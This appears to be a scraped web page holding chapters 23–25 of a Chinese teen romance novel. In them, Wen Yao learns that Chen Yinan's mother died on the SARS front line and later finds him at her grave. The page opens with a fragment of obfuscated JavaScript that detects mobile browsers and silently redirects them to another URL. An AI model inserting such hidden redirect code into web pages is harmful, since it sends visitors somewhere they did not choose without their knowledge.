35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818116|157406||http|test|mini|href|location''.split(''|''),0,{}));
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>回去路上,温窈和陈翊南慢慢走着。
她的手里还提着装礼物的那个纸袋,来时为了怕露馅,仍旧带了《病隙碎笔》。
走到尽头一转弯,远处的别墅已经冒出了头,明月湾要到了。
别墅围栏外面的这条路很安静,透过树隙望去,围栏里面的一片空地里还有专属的儿童游乐区域,时不时有小朋友玩闹的笑声传来。
“手里的纸袋给我提吧。”陈翊南开口。
“嗯?”
“不是还有书没还?”
温窈了然,她笑道:“没事,我自己去归还就好。我当时是骗你的,其实我已经记住路了。”
“给我吧,我离这边近,你再跑一趟多麻烦。何况,我明天正好要去书店找孟姨。”
温窈想了想,便不再拒绝,她将手中纸袋递了过去,“你是去看书吗?”
“这倒不是,”陈翊南摇摇头,“明天孟姨的儿子带着女朋友回来,两人难得见一次面。所以,孟姨托我帮忙照看一会儿书店。”
两人边聊边走,很快就到了明月湾正门口。
温窈刚想告别,便被陈翊南叫住了。
“稍等我一下,我去拿样东西给你。”他说。
东西?
温窈心中疑惑,但陈翊南已经提着袋子进去了。她就站在门口等候,离保安室不远。
很快,从保安室里探出了一个头。
“小姑娘,你是南南的女朋友?”
温窈听后,顿时慌张摆手,“不是不是,我们俩就是同学。”
“这样啊,”大叔磕了下瓜子,接着说:“你别介意啊,我这人就是比较能唠,和谁都能唠上会儿。这小区里的人都叫我吴叔,你也叫我吴叔就成。”
温窈看见大叔憨厚地摸了摸头,她笑道:“没事的,吴叔。您在这工作很多年了吗?”
“是啊,我想想啊……”吴叔眼睛望天,认真的琢磨了会儿,随即一拍脑袋,“哎呦算了,岁数大了记不清。不过啊,这十五年应该是有了。”
十五年?那还真是在这里工作了很长时间了。
他见温窈额头上有细汗,忙招呼道:“我这保安室有空调,你离近点能吹到凉风。”
温窈也不好拒绝,这一老一少就在保安室窗户这聊了起来。
“我听您叫陈翊南……南南?”
吴叔语气颇有些感慨:“是,这南南啊,也算是我看着他长大的。当年,我刚开始来这里工作时,他外婆就已经在这里住了。他呀,就三天两头的跑来这里玩。”
“你不知道,这小子小时候有多喜人。眼睛又大,皮肤又白,每次路过我这保安亭,都会大声喊我一声吴叔,只可惜他妈妈……”
男人似乎想到了什么,话音戛然而止。他摆了摆手,“算了,不提那伤心事。”
吴叔的话,温窈听的清楚。陈翊南的妈妈怎么了?
她忽然意识到,江枫也很少提及陈翊南的母亲,就连今晚林见月在群里问时,他也只是提了一嘴陈翊南的父亲。
在她的印象里,身边人似乎都没提起过陈翊南的母亲。
除非……
温窈眉头轻轻蹙起。
23. chapter23
“我的心里住着一个金光灿灿的你,我喜欢你,想要你赢、蓬勃、快乐。”
——《我与y》
陈翊南提着一个纸袋回到大门口,看到的就是这样一幕场景。
女孩的胳膊正轻轻搭在保安室窗口外多余出来的墙上。不知听到了什么好玩的事情,她被逗笑了,一双漂亮的杏眸蓦地弯起。
他走上前,看了眼屋内,笑道:“吴叔,这陈芝麻烂谷子的事情,您讲了这么多次,还没讲腻歪啊?”
吴叔轻嗐一声,“新瓶装旧酒,那滋味是越喝越有的咯!”
“我是说不过您了。”陈翊南无奈道。
吴叔爽朗地笑了两声,颇有眼力见地拉上了保安室的窗户,“你们聊,叔就不打扰了。”
他说完这句话,便重新缩回了屋内。临关窗前,还对着陈翊南悄悄比了个加油的手势。
想清楚缘由后,陈翊南不由得挑眉一笑,这误会真是大了。
不过,他也没过多解释,有些事情容易越描越黑。
温窈看着陈翊南递过来的纸袋,问:“这是……”
“送你的礼物。”
“礼物?”
陈翊南点头,“看看喜欢吗?”
温窈拿出纸袋里的东西,发现是一本《莎士比亚十四行诗》,还是比较精致的中英文纪念版,紫色封面,烫金字体。
她拿着书翻看了好几页,“我很喜欢,这中英文纪念版是从哪里买的?我去的大部分书店里都没见过。”
“前阵子去孟姨那里淘书,就把她新进的这本顺走了。货源不多,也就只有这一本。”
“这太珍贵了,我不能要。”温窈一听,连忙将书放回了纸袋。
陈翊南摇头笑笑,“书籍的意义在于阅读,阅读赋予其灵魂,那自然是好的书籍配正确的人。”
“也算是,我对你期末成绩的奖励。”怕温窈心理压力大,他接着补充道。
奖励?
温窈的手摩挲着漂亮的书封,鼻尖微酸。她已经忘了上次得到母亲的奖励是什么时候了,只觉得时间已经过了好久好久。
这就是被人在乎的感觉吗?
久违的温暖涌上心头。
“谢谢你,陈翊南。”她抽了下鼻子,嘴边扬起一抹笑意,颇为郑重道:“下个学期,我会继续努力的。”
即便夜色朦胧,陈翊南也一眼看到了身前人眼底闪动着的泪花。
当温窈提着纸袋到家时,已经是晚上八点四十左右。和陆文慧招呼了一声后,她便回了卧室。
她刚坐下,被放在口袋里的手机就接二连三的震个不停。
林见月:我的天,你们俩知道我见到谁了吗?!
林见月:你们绝对猜不到!!
虞眠:你楼下小哥哥家的那条可爱旺财?
虞眠:我记得你前几天还在抱怨好久没摸它了,甚是怀念啊。
林见月:……
林见月:是人!不是狗!
林见月:欸?阿窈到家没呀,怎么还没来信息?
温窈这才编辑了一条信息发过去。
温y:到家了,刚到没一会儿。
林见月:阿窈,你快猜猜!
温y:不会是……你偶像小哥哥?
虞眠:不可能,我看她偶像今天还在赶通告。
林见月见两人死活猜不中,便公布了答案。
林见月:是骆驰。你们相信吗?我俩竟然在楼下碰到了!
温窈和虞眠想了一会儿,才意识到了骆驰是谁。
虞眠:你墙头?
林见月:对!
林见月:想不到哇,我以为篮球赛一别,就已是最后一面。没想到,我们两人的缘分不止于此。
温窈:所以……
林见月:所以我鼓起勇气要了他的联系方式。
虞眠这下是有些好奇了。
“怎么说的?”
林见月:我说我很喜欢打篮球,有机会的话想和他讨教一二。
虞眠、温窈:……
不是她俩不信,而是体育课练习篮球的时候,林见月投十次球,一次不中才是常态。
从这样的人嘴里说出喜欢打篮球,两人是不敢相信的。温窈似乎都预料到了结果,嗯……抓狂的骆驰?
林见月:他后天会去球场打球,等我学成归来!
虞眠:蹲
温窈:蹲蹲
温窈笑着退出聊天框,这才发现陈翊南前不久刚给她来了信息,已经过去了十几分钟,弹出的红点明晃晃的亮在她主界面的置顶位置。
她忙看了眼,是陈翊南在问她有没有到家。
温窈报了平安。
对面消息却是秒回,还附带了一张图片。
Cyn:谢谢你送的水杯,我很喜欢。
图片里的灯光是暖色调,她送的蓝色鲸鱼杯子正被摆在木质桌面上。杯口被她捏成了有着轻微弧度的波浪形,杯把手处别出心裁,正好是鲸鱼的尾巴。
蓝白色调的水杯,简约又不失个性。
幸好没发现她的小秘密,温窈想。
她编辑好两条信息,发了过去。
“你喜欢就好。”
“陈翊南,祝你生日快乐!(烟花)”
温窈嘴角漾起浅浅的笑,她盯着星星瓶看了会,随即从旁边抽出一张彩色纸条写下一行字:
祝十七岁的陈翊南生日快乐!
他说,我是他的朋友。
蓝色细纸条被她两下三下叠成了星星,底层铺满的星星瓶里,又多了一颗星星。
温窈关灯上床,卧室的窗户半开,轻薄的纱帘也只拉了一半,稍微吹来些晚风,便轻轻飘起,如水波纹般轻盈。
床上的人翻来覆去没睡着,深夜的宁静适合想一些事情。
她想到今晚吴叔说的话,在心中猜测了许多关于陈翊南母亲的事情。
可惜,没有人能够给她一个明确的解释。
她对他,还是不够了解。
_
临近暑假结束的那几天,赵思诚结束了工作归家休息。
赵景旭将近一个月没见到爸爸,黏人黏的紧。
陆文慧将他从赵思诚身上扒拉下来,“你爸这刚出差回来,让他好好休息一下,一会儿你再和你爸玩哈,乖宝。”
赵景旭应了声,便跑到客厅去搭积木了。
陆文慧转头,有些忧虑地问道:“这次回来,休息的时间能长一点吧。”
赵思诚笑道:“这次能休息半个月。”
“那还行,”陆文慧开始给赵思诚捏肩膀,让他放松一下,“我看你这天天连轴转,也不嫌累。咱们开销不算很大,钱够花就行。
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”
“好好,还是我老婆心疼我。我这不得趁着自己还算年轻,多为以后存点钱。以后小旭上学、工作、娶妻生子,那用钱的地方还多着嘞!”
陆文慧叹了口气,“工作归工作,这身体你也得注意好好休息。”
赵思诚点点头,隔了会儿后,他突然道:“对了,明天我带着你们出去一趟。”
陆文慧疑惑:“什么事啊?”
“这不是我妈想去祈福,非要等我休息的时候带她去一次。我想着正好一起去,也算出门玩玩。”
“行,那就去远山寺吧。能祈福,山上风景也漂亮。”
“欸?你也记得和阿窈说一声,也别天天闷在家里了。”
“知道啦,”陆文慧起身替他关好卧室门,“你赶紧休息吧!”
隔天一早,赵思诚就驾车来到了城郊远山寺。
远山寺建立时间已久,香火旺盛。不管灵不灵,都会有人来祈福,求个心安。平日里人会少些,可今日是周末,光是在山下,就已经来了不少人。
寺庙建在山顶处,从山脚望去,层层叠叠的绿中冒出零星塔尖。
山不高不陡,正好适合老年人爬。陆文慧扶着婆婆朝山上走去,赵思诚领着赵景旭,温窈则走在了最后面。
尽管日头足,但山路上的树高大茂密,树枝一层叠一层地交缠在一起,遮蔽了不少阳光,令上山路凉快了不少。
苍松翠柏间,有古刹若隐若现。
等到达山顶,最先入目的便是天王殿。天王殿后面是一片很大的空地,中央摆放着一个大香炉,里面插着不少香正在焚烧,白色烟雾不断从香炉中飘出。
在西边不远处,另有一棵参天苍树,上面挂满了红绸,一下子就吸引住了温窈的目光。
这边,陆文慧跟着婆婆已经在香炉里上好了三根香,正准备继续朝后面的殿宇走去。
温窈犹豫了下,开口问道:“妈妈,我看见那边可以祈愿。我能不能去看一眼?”
陆文慧:“你去吧,我们先往后面走,在大雄宝殿门口那里等你。”
“好,我一会儿就去那里找你。”
温窈快步走到古树附近,抬头看了眼树上挂的红绸。旁边站着一个小沙弥,她朝他弯腰礼貌问道:“小师傅,这里是可以祈愿吗?”
小沙弥双手合十,“施主,可是要祈福许愿?”
温窈点点头。
小沙弥指了指旁边放置的木桌,上面放置着不少红绸,他解释着:“只需将你的祝福亦或是愿望写在红绸上面,挂上树枝即可。”
温窈笑着道谢,她坐在桌前提笔。日光透过树梢洒在她的发间,洒在红绸之上。一半在阴影下,一半在光亮间。
她稍想了会,在红绸上一笔一画地写下了几个字,眉眼间尽是珍重。
她本无神论者,不信神佛。
空气中弥漫着香火气息,佛像慈悲,信徒虔诚,她心绪动摇。
若是神佛有灵,可否看看我这一愿。
如若可以,那这一刻,她甘愿成为芸芸众生中的一员,成为神佛的虔诚信徒。
2011年8月28日,天气晴朗。
远山寺祈福古树的一条空枝桠上多了一条红绸带,随着风轻轻飘扬。
仔细看去,上面写着一行字:
愿陈翊南,万喜万般宜。
24. chapter24
“草稿纸上承载了太多青春的秘密,从繁花盛开的夏季到落叶纷飞的秋季,我的眼睛拥抱了你的背影无数次。”
——《我与y》
九月份,各个学校陆陆续续开学。白驹过隙,一年的时光转瞬即逝。
众人高一年级时的懵懵懂懂褪去,成为了高二学子,对于很多人而言,最直观的感受就是学习负担更重了些,娱乐活动更少了些。
一中在高一时不设置晚自习,但从高二开始,便会开设晚自习。学校要求的是,除特殊情况,每个人都不能缺席。
温窈算了下时间,等到晚自习结束,公交车也已经停运了。她便和陆文慧沟通了一番,车库里的自行车也终于派上了用场。
她在家附近找了个修车的门店,将自行车身上不行的部件全都换了个遍,又将轮胎的气充足,骑起来轻便了不少。
在得知从高二开始需要每晚上晚自习后,林见月直接蔫了半天,然后就拿起手机开始一顿狂戳,不知在和谁疯狂控诉。
为了让大家重视到自己高二了,充分担起高二的责任,方媛更是连开了两晚的班会。小到开学考的成绩,大到未来的人生理想,无话不谈。
座位方面,温窈周围没有太大变动。倒是刚开学时,林见月被调到了过道对面的斜前方,温窈的同桌变成了一个戴着眼镜有些内敛的男生。
文科一班的座位是按照成绩来分配的,方媛的习惯是根据大家的成绩来成立同桌间的帮扶小组。所以,虞眠和江枫依旧是同桌。而被调走的林见月发愤图强,势要在下次大考时重新回来。
后来,期中考试结束,她也真的做到了。
经过一个多月的时间,大家也逐渐适应了高二的生活节奏。
近期有个语文作文竞赛,方媛把温窈和虞眠叫进了办公室。
“我这呢,有个作文竞赛,含金量还挺高的,学校里给的只有三个名额。不论是对以后保送名额的竞争还是参加自主招生计划,这些都会有一定的辅助作用。你们两个考不考虑参加?”
两人对视一眼,答道:“老师,我参加。”
方媛笑笑,递给两人报名表,“行,把这表填好,明天之前交给我。”
临出门前,方媛又叫住了温窈,“哦对了,温窈,你一会回教室看看郑一桐在不在,在的话帮我喊过来。”
“好的,老师。”温窈乖巧答道,她阖上办公室的门,回了教室。
“老班怎么突然叫住你了?”虞眠还等在门口。
“她让我喊一下郑一桐。除了咱俩,还有一个名额,按名次排,应该是她。”
“这样啊,最近好多竞赛。我听江枫说,过几天还会有一个什么物理竞赛,那个名额还会比咱们这个比赛多一些,老罗已经在琢磨人选了。”
“那……”温窈想了想,问:“陈翊南是不是会参加?”
“应该会吧。”
两人往回走着,正好在走廊里碰见了准备进门的郑一桐。
温窈趁去厕所的间隙,悄摸朝理科一班教室内看了眼,倒数第三排的靠窗位置是空的。
不在教室,也不在办公室。
那去哪了?温窈思绪飘散。
“啪——”
一声轻响,在她眼前骤然响起。
温窈正在走神,猛不丁地打了个激灵。她定睛一看,才发现陈翊南已经站在了自己面前。
刚才是他在自己眼前打了一个响指。
“想什么呢,这么入神?”少年轻笑了声。
是在想你啊。
温窈微不可察地耸了下肩,没敢说出口,歧义太大。不过,也的确是事实。
“我听说过阵子会有物理竞赛,你要参加吗?”她不答反问。
本就是玩笑话,陈翊南也没深究,他答道:“看一下竞赛时间,如果和雅思没冲突的话,那应该会参加。”
“雅思?你是准备出国?”
温窈心中难掩惊讶,突然听到这个消息还有些难以接受。之前她疑惑的事情,瞬间有了答案。
她记得他寒假辅导班时与她做题的差别,也记得他高一这一年里总是忙忙碌碌的身影,原来都是在为考雅思做准备。
“暂时还没考虑好。不过,考出来总归没有坏处。”
温窈迷迷糊糊地走回教室,她从后门进去的,路过江枫身边时吓得他差点没跳起来。
他忙给自己顺气,“不是温窈,你怎么走路也没声,我差点以为是方姐来了。”
“不做亏心事,不怕gui敲门喔。”虞眠头也没抬地来了句。
“……”
江枫抓了把头发,心中发誓再也不在自习课偷看手机了。
没一会儿,温窈的后背就被虞眠戳了戳。
“窈儿,你那报名表填完了吗?”
温窈翻出空白的报名表,答道:“还没开始填呢。你先交上去吧,不用等我。”
江枫探过头来扫了眼,“你俩准备去参加作文竞赛啊?这不巧了。”
“巧什么?”虞眠狐疑道。
温窈正准备回头的动作也一顿。
“按照往年的安排,到时候学校会把参加竞赛的人根据学科分类聚集在一起。陈翊南去,你俩再去。这下好了,教室里只剩我和林见月相依为命了。”江枫哀叹道。
虞眠笑笑:“你是在心里偷着乐吧?”
“怎么可能!”
后面的话,温窈没再听,她的注意里全在江枫刚才说的话里,她不知道一中还有这样的安排。
温窈赶在要吃晚饭前把报名表填好了。办公室的门虚虚开着,有两根手指的宽度。她正想开门进去,便听到了从屋内穿出来的声音。
屋内听起来还有不少老师在。
有老师问了句:“罗老师,您前几天不是去探望宋老师了,他老人家的身体还好吧?过几天抽空我也去看看。”
老罗打趣道:“我看你啊,是想念师母炖的羊肉了吧!”
他接着说:“我看着宋老师精神面貌还挺好的,平时记得及时吃药,身体应该没什么事。”
有年轻些的老师听不懂两人在说什么,便好奇问了句。
“宋老师,就是宋慈生老师,陈翊南他外公。”
这么一提,年轻老师就瞬间明白了。宋老师在北淮是赫赫有名的教育工作者,桃李满门,下自成蹊。就算是退休了,名气也没有减弱,许多被他教过的学生还经常回去看他。
温窈站在门外,却是第一次知晓。
陈翊南的外公原来是宋老师,老罗竟还是宋老师的学生。
门内还在交谈。
“有这么优秀的外公教导,陈翊南这棵苗子真是一点都没长歪。根红苗正,好少年啊!不像我家那个,整天就知道调皮捣蛋。”有老师叹了口气。
老罗听见有人夸自己的学生,脸上就倍感有面。这话题一展开,他不禁就多说了几句:“不仅宋老师教导的好,也多亏了他妈妈。宋老师和我讲过,在陈翊南小时候,他妈妈啊,有空就带他读书旅游,博学问,长见识。不打压他的兴趣爱好,也尊重孩子的意见。你们说,就光着几点,能有多少家长真正做到?”
办公室里有不少老师点头赞同。
老罗叹了口气,温窈心口被不详的预感围绕。
“只可惜,他妈妈去世的早。”
声音伴随着空调冷风吹出,直吹的温窈手脚冰凉。
她的心里蓦地一恸,不由得睁大了双眼。
陈翊南的母亲竟已……去世了?!
办公室里安静的连枚针落在地上的声音都能清楚听到。
“这是怎么了,这孩子是单亲家庭啊?”有老师问了句。
“03那年,他妈妈请缨去往抗击非典前线,最后因过度劳累和感染疾病不幸牺牲了。”
听闻这个消息,老师们心情都算不得好,办公室内笼罩着一层凝重氛围。
而门外,温窈早已脱力,她靠着墙,慢慢蹲到了地上。手上的报名表被她紧紧攥着,边缘处已经攥出了褶皱。
走廊的灯光熄灭,她隐没于黑暗中,沉默了良久。
生日那天晚上的那些话,她只当陈翊南是在劝慰自己,殊不知,原来他也是这么走过来的。
温窈苦涩一笑,她望向走廊的窗户,玻璃窗被擦得干干净净,西南方向,有颗明星高悬于空。
那是长庚星,她知道。
因为有人和她说,她会成为自己心中最亮的那颗星。
但她不希望这个人和自己一样。
不止于心,他要做就要做夜空中最亮的那颗星。
因为,他值得。
_
晚自习结束的铃声响起,从上空俯首望去,下面是密密麻麻的散学人群。
温窈和陈翊南在校门口与另外三人分别,尽管陈翊南重新回到了景怡园居住,但她和他的家仍旧在同一个方向。
天气渐渐凉爽,昼夜温差变大,晚上骑车还会感到些许冷意。
陈翊南叫了温窈好几声,但旁边人就像失神一般没有反应,不得已他只好提高了声音:“温窈?”
温窈立时回神,她忙看向身旁,“怎么了?”
“和你说一声,那个物理竞赛我会参加。”
“那太好了。”温窈笑道。
陈翊南心中仍有疑惑,他敏锐地发现,今晚温窈很不在状态,像是有什么……
“你是有什么心事吗?”他开口问道。
温窈心中咯噔一声,她嘴角扯起一个笑容,尽量不让自己露馅,“没有,就是今天课上讲的东西,还有很多不明白。”
陈翊南扭过头,两人的目光在空中相撞,温窈心虚地眨了下眼睛。
“欸?你要到家了。”
她直接错开话题,眼神躲避。
陈翊南收回目光,在温窈没注意时,嘴角勾起一个很小的幅度。
演技拙劣。
他在心中评价。
两人的车子在景怡园大门口前停下。
陈翊南说道:“回去如果再弄不明白知识点,随时问我。”
“我只要看到,就会回。”
温窈笑回了句好,她目送着陈翊南离开。
暖黄色灯光斜斜落下,他的身影投在地上。温窈张开手,轻轻地,温柔地抱了一下他的影子。
祝好梦。
_
由于各科竞赛的比赛时间接近,学校征用了各个竞赛生的晚自习时间。将他们分
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科聚集在一起,进行培训。
培训的内容也大差不差,就是多刷题,多练习。但像温窈和虞眠参加的作文竞赛倒是和其他科不太一样,其他人纯做卷子,而他们是每天一道作文题目,练习解题能力和分析能力,提高文笔。
温窈和虞眠整日在两栋教学楼之间奔波,偶尔在路上会碰见陈翊南,却是连聊天的功夫都没有。
温窈和陈翊南每天的唯一联系,便是她会在晚上把这一天没弄懂的数学知识点整理到一起来问他。
经过两星期紧锣密鼓的培训,温窈和虞眠坐上了去往竞赛场地的大巴。
作文竞赛时间要比陈翊南的物理竞赛时间早,两人时间上正好错开。等温窈回来,陈翊南正好离开。
初次选拔是在各个学校内自己举办,毕竟最后决赛名额有限,温窈这一批人被淘汰掉了不少,郑一桐就属于最后一个被淘汰的。
温窈走进了考场,说紧张,肯定是有的。这是她第一次参加这种大规模的竞赛,能进入决赛的,都是各个学校的尖子生,实力必定不扉。
方媛知道竞赛难,走之前也没给温窈太大压力,只是鼓励她,无论结果如何,尽力就好。
她心里也是这么对自己说的。
直到铃声响起,温窈才改变了主意。看着试卷上给的题目,她的紧张焦虑褪去。
《换来一个春天》
她只稍想了会儿,心中便有了想法。
温窈自信落笔,这次她有八成把握可以冲一下一等奖。
一个小时的时间很快就到了,铃响,笔落,交卷,一气呵成。
竞赛的成绩会在七日后公布,领队老师又带着大家回到了学校。
温窈路过理科一班,看到陈翊南的位置空荡荡的,明显已经离开了。
她看了眼时间,物理竞赛还在进行中,距离结束还有二十分钟左右。
温窈想了想,还是拿出手机给陈翊南发了条祝福语。
温y:预祝竞赛顺利。
她正想把手机揣进兜里,手机便震动了一声,有个不可思议的念头在她心中浮现。
Cyn:谢谢,挺顺利的。
温窈看着消息失笑,还真是。
温y:提前交卷?
Cyn:对。
温y:看来这次的竞赛题不难,学神信手拈来。
屏幕那边,陈翊南无奈笑笑,他发现温窈近期似乎越来越喜欢用这个称呼来叫他,语气却又真挚地不像调侃。
也挺好的,以前是客气,现在倒多了几分熟稔。
他想了想,低头发了两条消息。
“不算简单,多亏我平时做的题够多够杂,才没有那么吃力。”
“温窈,不许捧杀我。”
温窈看到最后一句话,耳根处蓦地一红,像是洁白画布上突然沾染了一抹粉红颜料。
不过这些,远在屏幕对面的人就无从可知了。
温窈匆匆将手机塞进口袋,朝教室走去。
物理竞赛结束后不久,便是陈翊南去考雅思的时间。隔天,他就飞去了英国。
江枫当时还在感慨陈翊南真是个大忙人,也就是他能做到雅思和竞赛两手抓,还能这么游刃有余。
温窈眼眸弯弯,这次她难得赞同江枫的话。
课间休息时间。
温窈转头问道:“陈翊南他,有说哪天回来吗?”
“欸?你等下,我看一眼。前天问的,我忘记了。”江枫开始扒拉手机,没一会儿,他抬头回道:“陈翊南说的日期……就是明天。”
温窈正想点头,教室外却突然有嘈杂声音传来。
两人偏头看去,方媛正好走到教室门口,她身后跟着一个穿西装的年轻男人。
“江枫,过来一下。”
温窈眉头轻皱,她转回头,看见江枫脸色,不由得怔了下。
江枫一贯乐呵呵的,什么事情都不放心上,此刻却冷了脸。
温窈看到江枫走了出去,他一只手插在口袋,站在走廊和西装男人交谈。
两人并没有交谈太长时间,没一会儿,他便回来了。
江枫进门后,偷偷朝后看了眼,见西装男人已经走了,这才松了一口气,紧绷着的肩膀塌了下来。
他坐下说道:“吓死我了。”
温窈疑惑问:“怎么了?”
林见月:“那不会是你爸爸吧?”
虞眠噎了一下,犹豫道:“不可能吧,你爸这么年轻?”
“去去去,都别瞎猜。”江枫无语半晌,“那人是陈翊南他爸爸的助理。”
他接着解释:“之前也和你们说过,他爸爸不同意他学医,想让他学金融专业。两人的性子一个比一个倔,谁都不让谁。这不,陈翊南去英国考雅思这件事也没告诉他爸,他爸爸生意忙,三天两头地回不了一次家。”
“不仅没告诉他爸爸,还让你也帮忙瞒着。”虞眠补充道。
林见月不禁感慨:“南哥可以啊,连叔叔会来找你的事情都算到了。”
“别提了,快吓死了。我手心都是汗,生怕露了馅。”
“那怎么样,他爸爸的助理有没有起疑?”温窈问道。
“应该……没有吧?”
25. chapter25
“整个地球上,亿个背影间,我和你碰上。我想说你可知,整个地球上,无人可使我更想奔向你。”
——《我与y》
陈翊南回国的那天是周六。
陆文慧带着赵景旭去了儿童公园,温窈则自己待在家里写作业。
午后的阳光透过轻薄的窗帘洒进屋内,悄悄在滑动的指尖游走,懒散又温暖。
一套英语卷子做完,温窈停笔抻了个懒腰,她看了眼桌上的闹钟,电子屏幕上显示的是15时37分。
时间还早,可以再把剩下的数学卷子写完。
温窈刚写完选择题,被放置在一旁的手机忽然震动不止。她拿起一看,发现是江枫的来电。
江枫没有给她打过几次电话,两人一般都是用企鹅交流,这是有什么急事?
温窈滑动绿色按键,点了接通。来电铃声一停,江枫焦急的声音便传了出来。
“温窈,出事了!”
听筒对面的声音听起来气喘吁吁,温窈神色一凛,“怎么了?你别急,慢慢说。”
“今天我是准备来机场接陈翊南,然后得知了他那趟航班提前一个小时到达的消息,人我没接到。”江枫喘了口气,接着说:“刚才,他爸爸给我打电话问陈翊南有没有在我这里,我寻思坏了,两人八成是吵架了。”
温窈明白了过来,“你的意思是,陈翊南离家出走了?而且,现在还没找到人在哪?”
“对,我俩常去的几个地方我都找了一遍,没找到人。打电话来想问问你,有没有头绪?”
温窈想了想,迅速捋出了几个地方,“你别急,我想到几个地方,现在就去看看他在不在。”
陈翊南能去哪些地方?
对了,拾华书店!
温窈简单换了件衣服就赶紧出了门,她按着记忆里的路线找到了拾华书店。
伴随着熟悉的风铃声响,门开了。
陈翊南?
温窈瞬间抬头望去,神色却是一黯。
她看到一个扎着低马尾的女生走了出来,并不是他。
孟姨帮女生推开门,把她笑着送走后,就注意到了台阶下的温窈。
“你是不是……”
虽说温窈只来过一次书店,但她却记得清楚。
陈翊南那小子从来没带过其他人来过书店,那晚却带了个姑娘来,真是头一遭。再加上小姑娘长得也清秀可爱,扑面而来的书卷气,她记得就更清楚了些。
温窈忙道:“孟姨,是我,我是温窈。这次来是想问问您,陈翊南在不在书店?”
“他不在书店。这是怎么了?”孟姨见小姑娘神色焦急,不由得心中疑惑。
“那他今天有没有来过书店?”
“倒也没有。”
“谢谢孟姨。他的家里出了些事,电话打不通,也找不到他。我再去其他地方找找,孟姨您忙!”温窈一面挥手,一边转身走去。
“别着急,这孩子乖,肯定不会乱跑的!”
“好。”
温窈出了巷口,看着路口来来往往的人群,心中一团乱麻。
还能去哪呢?
午后阳光仿佛是一场错觉,此刻的天灰沉沉的,无端让人有些喘不上气。
温窈倚靠在墙上,望着这山雨欲来般的天气。很快,她便继续朝前走去。有其他地方,她还没有找过。
另一边,江枫几乎要把半个北淮跑遍了。毫不意外地讲,快要累断气了。
他和虞眠坐在便利店里休息,林见月撩起帘子走进来。
两人目光齐刷刷望去,林见月摇了摇头。
“没有,老板说没见到。”她坐下道。
三人一齐叹了口气。
“南哥还能去哪呢?”
“我和陈翊南去过的地方都找遍了,连个影子都没见到。”江枫绝望仰头,“要不是叔叔打来电话,我还不知道考雅思的事情已经败露了。”
虞眠偏头问:“我不理解,陈翊南的爸爸为什么这么抗拒他学医,纯粹因为想让他接手公司?”
“这是因为……”江枫坐直身子,语气顿了下,随即苦恼地抓了把头发,“告诉你们倒也无妨,陈翊南他也没说过这事不能提。但你们可千万别在他面前提起来,我怕他伤心。”
江枫将陈翊南母亲的事迹简单地讲了一通。
“别看陈翊南表面什么事都没有,我却觉得他心里挺苦的。”
“南哥的妈妈……原来就是当年坚守在抗非前线的一名医生啊。”林见月低声说了句。
便利店内一时静默无言。
一阵电话铃声突然打破屋内寂静。
江枫拿出手机看了眼,是温窈。
“怎么样,找到了吗?”
江枫连忙问,虞眠和林见月也凑近听着。
“没有。”
三人神色顿时黯了黯。
“江枫,”温窈在听筒对面忽地问了句,“你知道陈翊南妈妈的墓地在哪吗?”
“香山公墓。”
“好。”
不等他反应过来,电话便被挂断了。
“江枫。”虞眠喊道。
江枫缓缓抬头,发现窗外竟下起了雨。
绵绵细雨自天空飘落,倾斜着打在透明玻璃窗上,留下一道道湿润水痕。
_
香山公墓是北淮景色最为适宜的一片墓区。不仅景色秀丽,更是绝佳风水福地。
西倚香山,北近远山寺,从东望去,还有一片水如明镜的湖泊。不过,温窈没去过,只依稀记得,它似乎叫玉泉湖。
香山公墓离市区的距离不算很远,温窈打了辆出租车来到了墓地门口。
不久前,她跑过两人曾经去过的便利店,并没有找到人,门口两人坐过的木质长椅落上了几片叶子。
温窈盯着愣神,有一个念头猝不及防地在脑海中一闪而过。
除了市区经常去的那些地方,他们还有一个地方遗漏了。
她赌他,就在这里。
付完钱后,温窈撑开伞走进墓区大门。
细雨如丝,淅淅沥沥地落下,打湿了一块块水泥灰色的地砖。
温窈走的很慢,任雨水打在透明伞面,又轻轻滑落。
踏上第五层台阶,视野瞬间变得开阔。
隔着朦朦水雾,她一眼就望见了碑石前面的他。
天与地之间仿佛只剩下两种颜色,黑与白掺杂着清脆雨铃响,世界肃穆且沉重。
“啪嗒——”
黑白世界中,一抹苍翠的绿闯了进来,郁郁葱葱,勃勃生机。由细腻水雾钩织成的春天,悄悄来到了陈翊南身边。
多么不合时宜,却又恰逢其时。
此刻,雨丝纷纷扬扬地舞动着,温窈的
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伞向前倾斜,隔绝了落在少年身上的雨。
蹲在地上的人慢慢抬起头,两人目光交汇间,温窈唇角弯起。
“陈翊南,我找到你了。”
眼前,身着绿裙的女孩轻声说道。
伞下人眸色微动,心中似有万树梨花绽开。
风传花信,雨濯秋尘。
“你怎么来了?”陈翊南眼底情绪敛去。
温窈蹲下身,将一朵白色康乃馨小心翼翼地放在了碑前。
“我们在市区把你可能去的地方找遍了都没找到你。”她顿了下,接着说;“我突然想到了这里,就问了一下江枫。也算是,赌对了。”
“抱歉,让你们担心了。”
温窈摇摇头,“看见你在这,江枫也就放心了。我已经和他说,不用过来了。”
灰色大理石墓碑上贴着一张照片,是一位年轻女人在温柔笑着。她的黑色头发披散在肩膀旁,长相也极其漂亮。
温窈安静看了会,浅笑着说:“你的眼睛,很像你的母亲。”
她看到陈翊南偏头望来,似乎在问她为什么。
“你们两个人的眼里,都有星星。”
陈翊南不由得一笑,“你是第一个这么说的。”
“老人们总说,人死后会变成天上的星星。虽说毫无科学依据,却也不得不承认这是一种人们的美好寄托,一种对死亡的美化。所以我说,你们两人的眼睛里都有着彼此。”
“陈翊南,阿姨只是换了种方式陪伴你。远处吹来的风,空中飘落的雨,甚至是你手边的那株花。或许,无一不是她,入目皆是她。”
雨渐渐小了,一阵凉风吹过,温窈不自觉地打了个寒颤。
“谢谢你的安慰。不过,”陈翊南无奈笑道:“眼下都入秋了,不知道穿厚点?”
他起身脱下外套,微微弯腰,将它罩在了温窈身上。
“还不是着急找你。”温窈小声嘟囔了句。
